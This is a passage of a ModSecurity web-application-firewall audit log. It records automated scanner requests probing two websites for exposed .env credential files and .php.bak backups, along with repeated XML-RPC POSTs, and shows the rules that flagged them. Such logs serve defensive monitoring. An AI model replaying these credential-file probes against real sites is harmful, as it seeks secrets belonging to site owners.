ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --802b244b-Z-- --77e39000-A-- [16/Jun/2025:07:08:30.101195 +0530] aE91lYkQyF8-ounHsxsGoAAAAA8 128.199.112.101 59974 127.0.0.1 7081 --77e39000-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --77e39000-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --77e39000-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE91lYkQyF8-ounHsxsGoAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037909078524 1022728 (- - -) Stopwatch2: 1750037909078524 1022728; combined=2513, p1=406, p2=1672, p3=43, p4=118, p5=167, sr=114, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --77e39000-Z-- --330a1347-A-- [16/Jun/2025:07:08:31.513457 +0530] aE91lp16HYQp4eDf7R1d5AAAAAI 185.177.72.210 40476 127.0.0.1 7081 --330a1347-B-- GET /panel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --330a1347-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b2b0924a57d627441af25bcc28ceb0691750037911; expires=Mon, 16 Jun 2025 02:38:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --330a1347-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/panel/.env"] [unique_id "aE91lp16HYQp4eDf7R1d5AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037910831536 681996 (- - -) Stopwatch2: 1750037910831536 681996; combined=1831, p1=330, p2=1390, p3=0, p4=0, p5=110, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --330a1347-Z-- --0b93b459-A-- [16/Jun/2025:07:08:40.264626 +0530] aE91n4kQyF8-ounHsxsGpAAAAA8 185.177.72.210 37438 127.0.0.1 7081 --0b93b459-B-- GET /.env.%E4%BF%9D%E5%AD%98.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b93b459-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=875dab05837d68f8b002a58867b8da141750037920; expires=Mon, 16 Jun 2025 02:38:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b93b459-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.%E4%BF%9D%E5%AD%98.1"] [unique_id "aE91n4kQyF8-ounHsxsGpAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037919616217 648644 (- - -) Stopwatch2: 1750037919616217 648644; combined=1953, p1=429, p2=1433, p3=0, p4=0, p5=90, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b93b459-Z-- --e09a2128-A-- [16/Jun/2025:07:08:47.215271 +0530] aE91pvv_9qNKLXJRkuZfOwAAAAs 185.177.72.210 38498 127.0.0.1 7081 --e09a2128-B-- GET /:8080/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e09a2128-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=162ea34272143024e75113d9defe07a81750037927; expires=Mon, 16 Jun 2025 02:38:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e09a2128-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/app/konfig/.env"] [unique_id "aE91pvv_9qNKLXJRkuZfOwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037926551204 664128 (- - -) Stopwatch2: 1750037926551204 664128; combined=2282, p1=504, p2=1684, p3=0, p4=0, p5=94, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e09a2128-Z-- --85bd590f-A-- [16/Jun/2025:07:08:56.369544 +0530] aE91r-hCUAahT1nBjTYPHwAAAAM 185.177.72.210 58724 127.0.0.1 7081 --85bd590f-B-- GET /:8443/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --85bd590f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5216a92ed832a0cf11db209f30ca4ab11750037936; expires=Mon, 16 Jun 2025 02:38:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --85bd590f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/production/.env"] [unique_id "aE91r-hCUAahT1nBjTYPHwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037935708018 661588 (- - -) Stopwatch2: 1750037935708018 661588; combined=2108, p1=584, p2=1418, p3=0, p4=0, p5=105, sr=136, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --85bd590f-Z-- --2ab6f63d-A-- [16/Jun/2025:07:09:14.525869 +0530] aE91wQS4XDlCv3KXioQF-gAAAAY 185.177.72.210 49282 127.0.0.1 7081 --2ab6f63d-B-- GET /:8080/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2ab6f63d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=677aace51001285960ca2b45194b4b171750037954; expires=Mon, 16 Jun 2025 02:39:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2ab6f63d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.local"] [unique_id "aE91wQS4XDlCv3KXioQF-gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037953804542 721390 (- - -) Stopwatch2: 1750037953804542 721390; combined=2020, p1=436, p2=1479, p3=0, p4=0, p5=105, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2ab6f63d-Z-- --db8e3a65-A-- [16/Jun/2025:07:09:30.757607 +0530] aE910eMjvy_LHXlMeRATeAAAAAU 128.199.112.101 38898 127.0.0.1 7081 --db8e3a65-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --db8e3a65-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --db8e3a65-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE910eMjvy_LHXlMeRATeAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037969627022 1130658 (- - -) Stopwatch2: 1750037969627022 1130658; combined=2177, p1=353, p2=1395, p3=41, p4=72, p5=196, sr=95, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --db8e3a65-Z-- --7d540910-A-- [16/Jun/2025:07:09:51.077267 +0530] aE915okQyF8-ounHsxsG1AAAAA8 185.177.72.210 41390 127.0.0.1 7081 --7d540910-B-- GET /:8181/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7d540910-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5e5b3f075fb5e73df8edfcb78894c5851750037990; expires=Mon, 16 Jun 2025 02:39:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7d540910-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/database/.env"] [unique_id "aE915okQyF8-ounHsxsG1AAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037990422113 655228 (- - -) Stopwatch2: 1750037990422113 655228; combined=2085, p1=427, p2=1556, p3=0, p4=0, p5=101, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7d540910-Z-- --fd472d5c-A-- [16/Jun/2025:07:10:03.076413 +0530] aE918vv_9qNKLXJRkuZfcAAAAAs 185.177.72.210 37888 127.0.0.1 7081 --fd472d5c-B-- GET /local_conf.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fd472d5c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=01d4a4b226f201f671dcab14148abacb1750038002; expires=Mon, 16 Jun 2025 02:40:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fd472d5c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/local_conf.php.bak"] [unique_id "aE918vv_9qNKLXJRkuZfcAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038002385150 691351 (- - -) Stopwatch2: 1750038002385150 691351; combined=2138, p1=389, p2=1664, p3=0, p4=0, p5=84, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fd472d5c-Z-- --a92ceb56-A-- [16/Jun/2025:07:10:04.139745 +0530] aE9184kQyF8-ounHsxsG3gAAAA8 185.177.72.210 38022 127.0.0.1 7081 --a92ceb56-B-- GET /:8080/api/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a92ceb56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aaecf9809471f94c86121e7ac9bf53411750038003; expires=Mon, 16 Jun 2025 02:40:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a92ceb56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/api/.env.production"] [unique_id "aE9184kQyF8-ounHsxsG3gAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038003397078 742740 (- - -) Stopwatch2: 1750038003397078 742740; combined=1765, p1=419, p2=1249, p3=0, p4=0, p5=96, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a92ceb56-Z-- --36b8970e-A-- [16/Jun/2025:07:10:06.196379 +0530] aE919X9ZI6Q__Lo-KiYUAQAAAAc 185.177.72.210 38290 127.0.0.1 7081 --36b8970e-B-- GET /:8181/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --36b8970e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f48a756c4e4967e92fda2e6ba06e02891750038006; expires=Mon, 16 Jun 2025 02:40:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --36b8970e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/configurationtionura/.env"] [unique_id "aE919X9ZI6Q__Lo-KiYUAQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038005542540 653954 (- - -) Stopwatch2: 1750038005542540 653954; combined=2107, p1=392, p2=1574, p3=0, p4=0, p5=140, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36b8970e-Z-- --e8b4cf7a-A-- [16/Jun/2025:07:10:07.199246 +0530] aE919uhCUAahT1nBjTYPSwAAAAM 185.177.72.210 38452 127.0.0.1 7081 --e8b4cf7a-B-- GET /:8181/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8b4cf7a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cdc6e038b4b2516be184e131e2a742f81750038007; expires=Mon, 16 Jun 2025 02:40:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8b4cf7a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.debug"] [unique_id "aE919uhCUAahT1nBjTYPSwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038006522312 677023 (- - -) Stopwatch2: 1750038006522312 677023; combined=1655, p1=354, p2=1189, p3=0, p4=0, p5=111, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8b4cf7a-Z-- --4fb3dc64-A-- [16/Jun/2025:07:10:20.670643 +0530] aE92AzZ3uHeEW3BYvDO7TAAAAAA 185.177.72.210 45766 127.0.0.1 7081 --4fb3dc64-B-- GET /xampp/phpinfo.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4fb3dc64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5e878f7f274eb11427d8b608f71eb7b11750038020; expires=Mon, 16 Jun 2025 02:40:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4fb3dc64-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/phpinfo.php.bak"] [unique_id "aE92AzZ3uHeEW3BYvDO7TAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038019993565 677141 (- - -) Stopwatch2: 1750038019993565 677141; combined=1794, p1=281, p2=1411, p3=0, p4=0, p5=102, sr=79, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4fb3dc64-Z-- --84839941-A-- [16/Jun/2025:07:10:21.670563 +0530] aE92Bfv_9qNKLXJRkuZffQAAAAs 185.177.72.210 45794 127.0.0.1 7081 --84839941-B-- GET /magento/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --84839941-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=063f28c3118a4a32e3fa986cd0e873261750038021; expires=Mon, 16 